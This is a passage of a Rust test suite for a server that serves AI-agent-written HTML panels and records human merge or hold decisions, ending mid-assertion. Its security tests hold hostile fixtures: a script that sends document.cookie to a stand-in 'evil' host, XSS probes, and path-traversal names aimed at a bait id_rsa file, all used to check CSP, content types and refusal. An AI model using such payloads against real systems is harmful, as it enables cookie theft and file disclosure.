12698    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12699        // The stand-in dies instantly, so a restarted one can record its own
12700        // failure before the start's response is read. The second attempt
12701        // therefore fails with a different message, to tell a stale error
12702        // from a fresh one.
12703        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
12704        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
12705        Box::pin(async move {
12706            Err(anyhow::anyhow!(if first {
12707                "publish the daemon status file: read-only file system"
12708            } else {
12709                "the restarted stand-in failed as well"
12710            }))
12711        })
12712    }
12713
12714    /// The loop view once `want` accepts it.
12715    ///
12716    /// Polled rather than asserted straight after the POST because stopping
12717    /// is deliberately not instant - that is the contract - and rather than
12718    /// slept through because a fixed wait is either flaky or slow.
12719    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
12720    /// finite, so a genuine hang fails the test instead of hanging the
12721    /// suite.
12722    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
12723        for _ in 0..SETTLE_STEPS {
12724            let view = fx.get("/api/loop").await.json();
12725            if want(&view) {
12726                return view;
12727            }
12728            tokio::time::sleep(Duration::from_millis(10)).await;
12729        }
12730        panic!(
12731            "the loop never settled: {}",
12732            fx.get("/api/loop").await.json()
12733        );
12734    }
12735
12736    /// File an open question directly in the store the server reads.
12737    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
12738        let store = fx.questions();
12739        let mut q = Question::new(
12740            "20260902-000000-beef".to_owned(),
12741            "implement".to_owned(),
12742            "impl-A".to_owned(),
12743            summary.to_owned(),
12744            "because it matters".to_owned(),
12745            choices.iter().map(|c| (*c).to_owned()).collect(),
12746        );
12747        store.put(&mut q).expect("put question");
12748        q.id
12749    }
12750
12751    /// A question with a panel the server can serve, plus the named assets.
12752    ///
12753    /// Written through `Questions::put_panel` rather than by laying out the
12754    /// directory here, so these tests exercise the same on-disk shape the
12755    /// agents produce and cannot pass against a layout only the tests know.
12756    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
12757        let store = fx.questions();
12758        let mut q = Question::new(
12759            "20260902-000000-beef".to_owned(),
12760            "land".to_owned(),
12761            "fix".to_owned(),
12762            "Merge this?".to_owned(),
12763            "the diff is in the panel".to_owned(),
12764            vec!["merge".to_owned(), "hold".to_owned()],
12765        );
12766        // Staged outside the questions root, because `put_panel` copies from
12767        // wherever the agent left its files.
12768        let staging = fx.home.path().join("staging");
12769        std::fs::create_dir_all(&staging).expect("staging dir");
12770        let sources: Vec<PathBuf> = assets
12771            .iter()
12772            .map(|(name, bytes)| {
12773                let path = staging.join(name);
12774                std::fs::write(&path, bytes).expect("write staged asset");
12775                path
12776            })
12777            .collect();
12778        store
12779            .put_panel(&mut q, html, &sources)
12780            .expect("write the panel");
12781        store.put(&mut q).expect("put question");
12782        q.id
12783    }
12784
12785    /// A talk on disk, without talking to a model.
12786    ///
12787    /// Written as JSON straight into the store the server reads, because the
12788    /// only constructor `talk::begin` offers takes no turn but still requires
12789    /// a real caller-visible flow. The one thing this cannot make up is the
12790    /// seat, so it is built with the real `SeatState::new` and serialized -
12791    /// the alternative, hand-writing that object, would make these tests fail
12792    /// the day the seat gains a field.
12793    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
12794        seed_talk_at(&fx.talks(), id, status)
12795    }
12796
12797    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
12798        std::fs::create_dir_all(store.root()).expect("talks dir");
12799        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
12800            .expect("serialize a seat");
12801        let body = serde_json::json!({
12802            "schema": 1,
12803            "id": id,
12804            "repo": "/repo/magi",
12805            "agent": "mock",
12806            "status": status,
12807            "turns": [],
12808            "created_at": Timestamp::now().to_string(),
12809            "updated_at": Timestamp::now().to_string(),
12810            "seat": seat,
12811        });
12812        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
12813        store.get(id).expect("the seeded talk has to be readable");
12814        id.to_owned()
12815    }
12816
12817    #[tokio::test]
12818    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
12819        let fx = Fixture::start().await;
12820        let id = panel(
12821            &fx,
12822            "<h1>Merge?</h1><img src=\"diff.svg\">",
12823            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
12824        );
12825
12826        for path in [
12827            format!("/api/questions/{id}/panel"),
12828            format!("/api/questions/{id}/asset/diff.svg"),
12829        ] {
12830            let res = fx.get(&path).await;
12831            assert_eq!(res.status, 200, "{path}: {}", res.body);
12832            // The whole string, not a substring. A weakened directive - an
12833            // `img-src *` that lets a panel beacon out to a remote host, a
12834            // `script-src` anything, a missing `form-action` that lets it post
12835            // the owner's decision to a third party - has to fail here, and a
12836            // `contains` assertion would let every one of those through.
12837            assert_eq!(
12838                res.header("content-security-policy"),
12839                Some(
12840                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
12841                     font-src data:; base-uri 'none'; form-action 'none'; \
12842                     frame-ancestors 'self'"
12843                ),
12844                "{path} is the only thing between a hostile panel and the tailnet"
12845            );
12846            assert_eq!(
12847                res.header("x-content-type-options"),
12848                Some("nosniff"),
12849                "{path}: a browser must not re-decide the type we sent"
12850            );
12851            assert_eq!(
12852                res.header("referrer-policy"),
12853                Some("no-referrer"),
12854                "{path}: a panel must not leak the question id off the machine"
12855            );
12856
12857            // The front end mounts the frame only after a `HEAD` says the
12858            // panel is there, so `HEAD` has to answer with the same status and
12859            // the same policy as `GET` - a preflight that came back without
12860            // the CSP would mean a frame mounted on an unverified promise.
12861            let pre = fx.head(&path).await;
12862            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
12863            assert_eq!(
12864                pre.header("content-security-policy"),
12865                res.header("content-security-policy"),
12866                "{path}: the preflight carries the same policy"
12867            );
12868            assert_eq!(
12869                pre.header("content-type"),
12870                res.header("content-type"),
12871                "{path}: the preflight carries the same type"
12872            );
12873        }
12874    }
12875
12876    #[tokio::test]
12877    async fn a_panel_reaches_the_browser_byte_for_byte() {
12878        let fx = Fixture::start().await;
12879        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
12880        // tag, an entity, and a multi-byte character. The sandbox is what makes
12881        // this safe, so nothing here may be rewritten on the way out - a
12882        // rewritten diff is a diff the owner cannot trust.
12883        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
12884        let id = panel(&fx, html, &[]);
12885
12886        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
12887
12888        assert_eq!(res.status, 200);
12889        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
12890        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
12891        assert_eq!(
12892            res.header("content-disposition"),
12893            None,
12894            "the panel itself is rendered in the frame, not downloaded"
12895        );
12896    }
12897
12898    #[tokio::test]
12899    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
12900        let fx = Fixture::start().await;
12901        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
12902        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
12903        let id = panel(
12904            &fx,
12905            "<img src=\"diff.svg\"><img src=\"shot.png\">",
12906            &[("diff.svg", svg), ("shot.png", png)],
12907        );
12908
12909        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
12910        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
12911
12912        assert_eq!(as_svg.status, 200);
12913        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
12914        // An SVG is XML that may carry script. Inside the panel it is an
12915        // `<img src>` and the script cannot run; opened at the top level it
12916        // would be a document on magi's own origin, so the browser is told to
12917        // download it instead of rendering it.
12918        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
12919
12920        assert_eq!(as_png.status, 200);
12921        assert_eq!(as_png.header("content-type"), Some("image/png"));
12922        assert_eq!(
12923            as_png.header("content-disposition"),
12924            None,
12925            "a raster image has no execution surface, so tapping it still shows it"
12926        );
12927        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
12928    }
12929
12930    #[tokio::test]
12931    async fn an_html_asset_is_never_served_as_html() {
12932        let fx = Fixture::start().await;
12933        let id = panel(
12934            &fx,
12935            "<p>see the notes</p>",
12936            &[
12937                (
12938                    "notes.html",
12939                    b"<script>fetch('http://evil/'+document.cookie)</script>",
12940                ),
12941                ("hook.js", b"fetch('http://evil/')"),
12942                ("data.json", b"{}"),
12943                ("HEADLINE.TXT", b"plain"),
12944            ],
12945        );
12946
12947        for name in ["notes.html", "hook.js", "data.json"] {
12948            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
12949            assert_eq!(res.status, 200, "{name}: {}", res.body);
12950            // Serving this as text/html would be a way to reach agent markup
12951            // at the top level of the operator's browser, outside the frame's
12952            // sandbox and outside its CSP - which is the whole thing the panel
12953            // design exists to prevent. Unlisted types are downloads.
12954            assert_eq!(
12955                res.header("content-type"),
12956                Some("application/octet-stream"),
12957                "{name} must not be a type the browser will execute or render"
12958            );
12959        }
12960        // The whitelist is matched case-insensitively, so an agent shouting the
12961        // extension still gets a readable file rather than a download.
12962        let txt = fx
12963            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
12964            .await;
12965        assert_eq!(
12966            txt.header("content-type"),
12967            Some("text/plain; charset=utf-8")
12968        );
12969    }
12970
12971    #[tokio::test]
12972    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
12973        let fx = Fixture::start().await;
12974        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12975        // Something outside the panel directory that a traversal would reach if
12976        // one got through, so a passing test is not merely "the file was
12977        // missing anyway".
12978        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
12979
12980        // Decoded before this server's handler sees them: axum percent-decodes
12981        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
12982        // string with a NUL in it. All three look like ordinary single-segment
12983        // filenames to the router, so the router passes them through and
12984        // `valid_asset_name` is what refuses them - for the literal `..`, and
12985        // for `/`, `\` and NUL not being in the permitted character set.
12986        for encoded in [
12987            "%2e%2e%2fid_rsa",
12988            "..%2fid_rsa",
12989            "..%5cid_rsa",
12990            "%2e%2e%5cid_rsa",
12991            "diff%00.svg",
12992            "..",
12993            ".hidden",
12994            "%2e%2e%2f%2e%2e%2fid_rsa",
12995        ] {
12996            let res = fx
12997                .get(&format!("/api/questions/{id}/asset/{encoded}"))
12998                .await;
12999            assert_eq!(
13000                res.status, 400,
13001                "`{encoded}` has to be refused by name, not looked up: {}",
13002                res.body
13003            );
13004            assert!(res.json()["error"].is_string(), "{}", res.body);
13005        }
13006
13007        // Not decoded, and never this handler's problem: a real slash makes the
13008        // request one segment too long for `/api/questions/{id}/asset/{name}`,
13009        // so axum's router has no route to match and answers before any code
13010        // here runs. Asserted so that a future route with a wildcard segment
13011        // cannot quietly open this door.
13012        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
13013            let res = fx
13014                .get(&format!("/api/questions/{id}/asset/{literal}"))
13015                .await;
13016            assert_eq!(
13017                res.status, 404,
13018                "`{literal}` must not match the asset route at all: {}",
13019                res.body
13020            );
13021        }
13022    }
13023
13024    #[tokio::test]
13025    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
13026        let fx = Fixture::start().await;
13027        let plain = ask(&fx, "Which backend?", &["SQLite"]);
13028        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
13029
13030        // A question nobody wrote a panel for. The client preflights with HEAD
13031        // and cannot see inside a sandboxed frame, so this must be a status and
13032        // not an empty page.
13033        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
13034        assert_eq!(none.status, 404, "{}", none.body);
13035        assert!(none.json()["error"].is_string(), "{}", none.body);
13036        assert_eq!(
13037            fx.head(&format!("/api/questions/{plain}/panel"))
13038                .await
13039                .status,
13040            404,
13041            "the preflight is the only way the client can learn this"
13042        );
13043
13044        // A name that is perfectly legal and simply is not there.
13045        let missing = fx
13046            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
13047            .await;
13048        assert_eq!(missing.status, 404, "{}", missing.body);
13049        assert!(missing.json()["error"].is_string(), "{}", missing.body);
13050
13051        // A question that does not exist at all, on both routes.
13052        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
13053        assert_eq!(
13054            fx.get("/api/questions/nope/asset/diff.svg").await.status,
13055            404
13056        );
13057    }
13058
13059    #[tokio::test]
13060    async fn a_run_with_an_open_question_reads_as_waiting() {
13061        let fx = Fixture::start().await;
13062        let run = "20260902-000000-beef".to_owned();
13063        write_run(&fx.runs(), &run, RunStatus::Implementing);
13064
13065        let before = fx.get("/api/runs").await.json();
13066        assert_eq!(before[0]["waiting"], false, "{before}");
13067
13068        let store = fx.questions();
13069        let mut q = Question::new(
13070            run.clone(),
13071            "implement".to_owned(),
13072            "impl-A".to_owned(),
13073            "Which backend?".to_owned(),
13074            String::new(),
13075            vec!["SQLite".to_owned()],
13076        );
13077        store.put(&mut q).expect("put");
13078
13079        let during = fx.get("/api/runs").await.json();
13080        assert_eq!(during[0]["waiting"], true, "{during}");
13081
13082        // Answered: the run is moving again, and the flag has to follow without
13083        // anything having rewritten run.json.
13084        q.answer(Answer::Choice("SQLite".to_owned()))
13085            .expect("answer");
13086        store.put(&mut q).expect("put");
13087        let after = fx.get("/api/runs").await.json();
13088        assert_eq!(after[0]["waiting"], false, "{after}");
13089    }
13090
13091    #[tokio::test]
13092    async fn an_open_question_is_listed_and_counted_by_health() {
13093        let fx = Fixture::start().await;
13094        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13095
13096        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13097        let listed = fx.get("/api/questions").await.json();
13098        assert_eq!(listed.as_array().expect("array").len(), 1);
13099        assert_eq!(listed[0]["id"], id);
13100        assert_eq!(listed[0]["status"], "open");
13101        assert_eq!(listed[0]["choices"][1], "Redis");
13102        // The count is what makes the phone's indicator honest: it is the one
13103        // number meaning nothing will move until a human acts.
13104        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13105    }
13106
13107    fn obsolete_approval_state() -> RunState {
13108        let mut state = crate::land::tests::repair_state(true, true);
13109        state.pr = Some(crate::run::PrRecord {
13110            url: "https://github.com/example/repo/pull/42".into(),
13111            number: 42,
13112            state: "open".into(),
13113            checks: "green".into(),
13114            round: 1,
13115            rounds: 4,
13116            red_at_merge: Vec::new(),
13117        });
13118        state
13119    }
13120
13121    #[tokio::test]
13122    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
13123        for owner in ["missing", "current", "completed", "later"] {
13124            let fx = Fixture {
13125                home: TempDir::new().unwrap(),
13126                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13127            };
13128            let mut state = obsolete_approval_state();
13129            state.status = RunStatus::Landing;
13130            state.parked = true;
13131            state.driver_exited = true;
13132            let mut q = Question::new(
13133                state.id.clone(),
13134                crate::land::APPROVAL_NODE.into(),
13135                "land".into(),
13136                "Old approval".into(),
13137                "Original evidence".into(),
13138                vec!["merge".into(), "hold".into()],
13139            );
13140            state.land_approval = Some(crate::run::LandApproval {
13141                question: q.id.clone(),
13142                head: "head".into(),
13143            });
13144            state.save_under(fx.home.path()).unwrap();
13145            let stale = state.clone();
13146            fx.questions().put(&mut q).unwrap();
13147            let mut task = Task::new(
13148                "Owner".into(),
13149                "Original instruction".into(),
13150                state.repo.clone(),
13151                Source::Human,
13152            );
13153            task.runs.push(state.id.clone());
13154            task.status = if owner == "completed" {
13155                TaskStatus::Done
13156            } else {
13157                TaskStatus::Parked
13158            };
13159            if owner == "later" {
13160                task.runs.push("later-run".into());
13161            }
13162            if owner != "missing" {
13163                fx.queue().put(&mut task).unwrap();
13164            }
13165            let ui = Arc::new(Ui::new(
13166                fx.queue(),
13167                fx.questions(),
13168                fx.talks(),
13169                fx.runs(),
13170                fx.home.path().into(),
13171                state.repo.clone(),
13172            ));
13173            let response = question_answer(
13174                State(ui),
13175                Path(q.id.clone()),
13176                Ok(Json(NewAnswer {
13177                    choice: Some(crate::merge_decision::DISMISS.into()),
13178                    text: None,
13179                    ..Default::default()
13180                })),
13181            )
13182            .await
13183            .unwrap();
13184            assert_eq!(
13185                response.0.question.resolution().as_deref(),
13186                Some(crate::merge_decision::DISMISS)
13187            );
13188            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13189            assert_eq!(disk.status, RunStatus::Superseded);
13190            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
13191            assert!(!crate::merge_decision::resumable_hold(&disk));
13192            assert_eq!(
13193                serde_json::to_value(&disk.pr).unwrap(),
13194                serde_json::to_value(&stale.pr).unwrap()
13195            );
13196            assert_eq!(fx.questions().count_open(), 0);
13197            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
13198            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13199            if owner == "missing" {
13200                assert!(fx.queue().list().is_empty());
13201            } else {
13202                let after = fx.queue().get(&task.id).unwrap();
13203                assert_eq!(
13204                    after.status,
13205                    if owner == "current" {
13206                        TaskStatus::Done
13207                    } else {
13208                        task.status
13209                    }
13210                );
13211                assert_eq!(after.runs, task.runs);
13212                assert_eq!(after.instruction, task.instruction);
13213                assert_eq!(after.action_applied(&q.id), owner == "current");
13214            }
13215        }
13216    }
13217
13218    #[tokio::test]
13219    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
13220        let fx = Fixture::start().await;
13221        let mut state = obsolete_approval_state();
13222        state.status = RunStatus::Landing;
13223        state.parked = true;
13224        state.driver_exited = true;
13225        let mut q = Question::new(
13226            state.id.clone(),
13227            crate::land::APPROVAL_NODE.into(),
13228            "land".into(),
13229            "Superseded PR approval".into(),
13230            "Original review evidence".into(),
13231            vec!["merge".into(), "hold".into()],
13232        );
13233        state.land_approval = Some(crate::run::LandApproval {
13234            question: q.id.clone(),
13235            head: "old-reviewed-head".into(),
13236        });
13237        // The old persisted PR may still say open even when a separate change
13238        // already landed. Dismissal must not use that snapshot to close it.
13239        state.save_under(fx.home.path()).unwrap();
13240        let stale_driver = state.clone();
13241        fx.questions().put(&mut q).unwrap();
13242        let path = fx
13243            .home
13244            .path()
13245            .join("questions")
13246            .join(format!("{}.json", q.id));
13247        let mut legacy = serde_json::to_value(&q).unwrap();
13248        legacy["schema"] = 9.into();
13249        legacy.as_object_mut().unwrap().remove("merge_target");
13250        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
13251
13252        // POST without GET tests legacy upgrade and validation at the actual
13253        // entry point, rather than constructing a modern card in the test.
13254        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
13255        let answer_path = format!("/api/questions/{}/answer", q.id);
13256        let res = fx.post(&answer_path, Some(&body)).await;
13257        assert_eq!(res.status, 200, "{}", res.body);
13258        let disk = fx.questions().get(&q.id).unwrap();
13259        assert_eq!(
13260            disk.resolution().as_deref(),
13261            Some(crate::merge_decision::DISMISS)
13262        );
13263        assert!(disk.detail.starts_with("Original review evidence"));
13264        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
13265        assert_eq!(retired.status, RunStatus::Superseded);
13266        assert_eq!(
13267            serde_json::to_value(&retired.pr).unwrap(),
13268            serde_json::to_value(&state.pr).unwrap()
13269        );
13270        assert!(!retired.merge_decision.as_ref().unwrap().closed);
13271        assert!(!crate::merge_decision::resumable_hold(&retired));
13272        assert!(fx.queue().list().is_empty());
13273        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13274        // A restarted server re-reads the persisted pending list.
13275        let addr = Fixture::serve(
13276            fx.home.path(),
13277            PathBuf::from("/repo/magi"),
13278            launch_idle,
13279            None,
13280        )
13281        .await;
13282        let reconnected = Fixture {
13283            home: fx.home,
13284            addr,
13285        };
13286        let listed = reconnected.get("/api/questions").await.json();
13287        assert!(
13288            listed
13289                .as_array()
13290                .unwrap()
13291                .iter()
13292                .all(|q| q["status"] != "open")
13293        );
13294        assert_eq!(listed[0]["id"], q.id, "history remains available");
13295        assert_eq!(
13296            reconnected.get("/api/health").await.json()["questions_open"],
13297            0
13298        );
13299        assert_eq!(
13300            reconnected
13301                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
13302                .await
13303                .status,
13304            409
13305        );
13306        // A late waiter cannot turn the old answer into a new decision.
13307        assert!(
13308            reconnected
13309                .questions()
13310                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
13311                .is_err()
13312        );
13313        // The same guard used by claims, repair and publication rejects a
13314        // saved in-memory driver as well as the persisted terminal record.
13315        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
13316    }
13317
13318    #[tokio::test]
13319    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
13320        let fx = Fixture::start().await;
13321        let mut state = obsolete_approval_state();
13322        state.status = RunStatus::Landing;
13323        state.driver_exited = true;
13324        let mut q = Question::new(
13325            state.id.clone(),
13326            crate::land::APPROVAL_NODE.into(),
13327            "land".into(),
13328            "Obsolete approval".into(),
13329            String::new(),
13330            vec!["merge".into(), "hold".into()],
13331        );
13332        state.land_approval = Some(crate::run::LandApproval {
13333            question: q.id.clone(),
13334            head: "head".into(),
13335        });
13336        state.save_under(fx.home.path()).unwrap();
13337        fx.questions().put(&mut q).unwrap();
13338        let mut task = Task::new(
13339            "Owner".into(),
13340            "Original instruction".into(),
13341            state.repo.clone(),
13342            Source::Human,
13343        );
13344        task.runs = vec![state.id.clone(), "later-run".into()];
13345        fx.queue().put(&mut task).unwrap();
13346        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
13347        let claim = fx.queue().claim(&task.id).unwrap();
13348        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
13349        let path = format!("/api/questions/{}/answer", q.id);
13350        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13351        assert!(fx.questions().get(&q.id).unwrap().status.open());
13352        drop(claim);
13353        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
13354        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13355        assert!(fx.questions().get(&q.id).unwrap().status.open());
13356        drop(publication);
13357        // Unknown liveness and armed auto-merge both fail without settling.
13358        state.driver_exited = false;
13359        state.driver_pid = None;
13360        state.driver_claimed = None; // No durable proof of an unstarted execution.
13361        state.save_under(fx.home.path()).unwrap();
13362        assert_eq!(
13363            state.liveness_under(fx.home.path(), false),
13364            crate::run::Liveness::Unknown
13365        );
13366
13367        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13368        state.driver_exited = true;
13369        state.land_armed_head = Some("head".into());
13370        state.save_under(fx.home.path()).unwrap();
13371        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13372        state.land_armed_head = None;
13373        state.save_under(fx.home.path()).unwrap();
13374        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
13375        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13376        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
13377    }
13378
13379    #[tokio::test]
13380    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
13381        let fx = Fixture::start().await;
13382        let mut state = obsolete_approval_state();
13383        state.status = RunStatus::Landing;
13384        state.driver_exited = true;
13385        let mut q = Question::new(
13386            state.id.clone(),
13387            crate::land::APPROVAL_NODE.into(),
13388            "land".into(),
13389            "Obsolete approval".into(),
13390            String::new(),
13391            vec!["merge".into(), "hold".into()],
13392        );
13393        state.land_approval = Some(crate::run::LandApproval {
13394            question: q.id.clone(),
13395            head: "head".into(),
13396        });
13397        state.save_under(fx.home.path()).unwrap();
13398        fx.questions().put(&mut q).unwrap();
13399        let mut task = Task::new(
13400            "Owner".into(),
13401            "Original instruction".into(),
13402            state.repo.clone(),
13403            Source::Human,
13404        );
13405        task.runs.push(state.id.clone());
13406        task.status = TaskStatus::Parked;
13407        fx.queue().put(&mut task).unwrap();
13408        // Model a crash after the run stop was persisted but before the queue
13409        // and answered question were flushed. Retrying must finish, not resume.
13410        state.merge_decision = Some(crate::merge_decision::Decision {
13411            question: q.id.clone(),
13412            target: crate::merge_decision::Target {
13413                pr: state.pr.as_ref().unwrap().url.clone(),
13414                head: "head".into(),
13415                language: "ja".into(),
13416            },
13417            choice: crate::merge_decision::DISMISS.into(),
13418            closed: false,
13419            replacement_run: None,
13420            replacement_pr: None,
13421        });
13422        state.status = RunStatus::Superseded;
13423        state.save_under(fx.home.path()).unwrap();
13424        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
13425        let path = format!("/api/questions/{}/answer", q.id);
13426        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
13427        let done = fx.queue().get(&task.id).unwrap();
13428        assert_eq!(done.status, TaskStatus::Done);
13429        assert_eq!(done.runs, task.runs);
13430        assert_eq!(done.instruction, task.instruction);
13431        assert!(done.action_applied(&q.id));
13432        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13433        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
13434        assert!(!fx.questions().get(&q.id).unwrap().status.open());
13435    }
13436
13437    #[tokio::test]
13438    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
13439        let home = TempDir::new().unwrap();
13440        let ui = Arc::new(Ui::new(
13441            Queue::at(home.path().join("queue")),
13442            Questions::at(home.path().join("questions")),
13443            Talks::at(home.path().join("talks")),
13444            home.path().join("runs"),
13445            home.path().to_owned(),
13446            home.path().to_owned(),
13447        ));
13448        let talks = &ui.talks;
13449        let chat =
13450            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
13451        let mut q = Question::new(
13452            "run".into(),
13453            crate::land::APPROVAL_NODE.into(),
13454            "land".into(),
13455            "Merge?".into(),
13456            String::new(),
13457            vec!["merge".into(), "hold".into()],
13458        );
13459        q.routed_task = Some("task".into());
13460        q.routed_chat = Some(chat.id.clone());
13461        q.merge_target = Some(crate::merge_decision::Target {
13462            pr: "https://example.test/pull/1".into(),
13463            head: "head-a".into(),
13464            language: "en".into(),
13465        });
13466        ui.questions.put(&mut q).unwrap();
13467        let send = |body| {
13468            question_answer(
13469                State(ui.clone()),
13470                Path(q.id.clone()),
13471                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
13472            )
13473        };
13474        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
13475        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
13476        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
13477        assert!(send(wrong_chat).await.is_err());
13478        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
13479        assert!(send(stale).await.is_err());
13480        assert!(ui.questions.get(&q.id).unwrap().status.open());
13481        assert!(send(button.clone()).await.is_ok());
13482        assert_eq!(
13483            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13484            Some("merge")
13485        );
13486        assert!(send(button).await.is_err());
13487    }
13488
13489    #[tokio::test]
13490    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
13491        let home = TempDir::new().unwrap();
13492        let ui = Arc::new(Ui::new(
13493            Queue::at(home.path().join("queue")),
13494            Questions::at(home.path().join("questions")),
13495            Talks::at(home.path().join("talks")),
13496            home.path().join("runs"),
13497            home.path().to_owned(),
13498            home.path().to_owned(),
13499        ));
13500        for choice in [crate::land::APPROVE, crate::land::HOLD] {
13501            let mut q = Question::new(
13502                "run".into(),
13503                crate::land::APPROVAL_NODE.into(),
13504                "land".into(),
13505                "Merge?".into(),
13506                String::new(),
13507                vec!["merge".into(), choice.into()],
13508            );
13509            q.routed_task = Some("task".into());
13510            q.merge_target = Some(crate::merge_decision::Target {
13511                pr: "https://example.test/pull/1".into(),
13512                head: "head-a".into(),
13513                language: "en".into(),
13514            });
13515            ui.questions.put(&mut q).unwrap();
13516            let answer = |c: &str| {
13517                question_answer(
13518                    State(ui.clone()),
13519                    Path(q.id.clone()),
13520                    Ok(Json(
13521                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
13522                            .unwrap(),
13523                    )),
13524                )
13525            };
13526            let _ = answer(choice).await.unwrap();
13527            assert_eq!(
13528                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13529                Some(choice)
13530            );
13531        }
13532    }
13533
13534    #[tokio::test]
13535    async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
13536        let home = TempDir::new().unwrap();
13537        let ui = Arc::new(Ui::new(
13538            Queue::at(home.path().join("queue")),
13539            Questions::at(home.path().join("questions")),
13540            Talks::at(home.path().join("talks")),
13541            home.path().join("runs"),
13542            home.path().to_owned(),
13543            home.path().to_owned(),
13544        ));
13545        let mut q = Question::new(
13546            "run".into(),
13547            crate::github_text::ASK_NODE.into(),
13548            "posting-gate".into(),
13549            "Post?".into(),
13550            String::new(),
13551            vec!["use fallback".into()],
13552        );
13553        q.routed_task = Some("task".into());
13554        ui.questions.put(&mut q).unwrap();
13555        let sent = question_answer(
13556            State(ui.clone()),
13557            Path(q.id.clone()),
13558            Ok(Json(
13559                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
13560                    .unwrap(),
13561            )),
13562        )
13563        .await;
13564        let _ = sent.unwrap();
13565        assert_eq!(
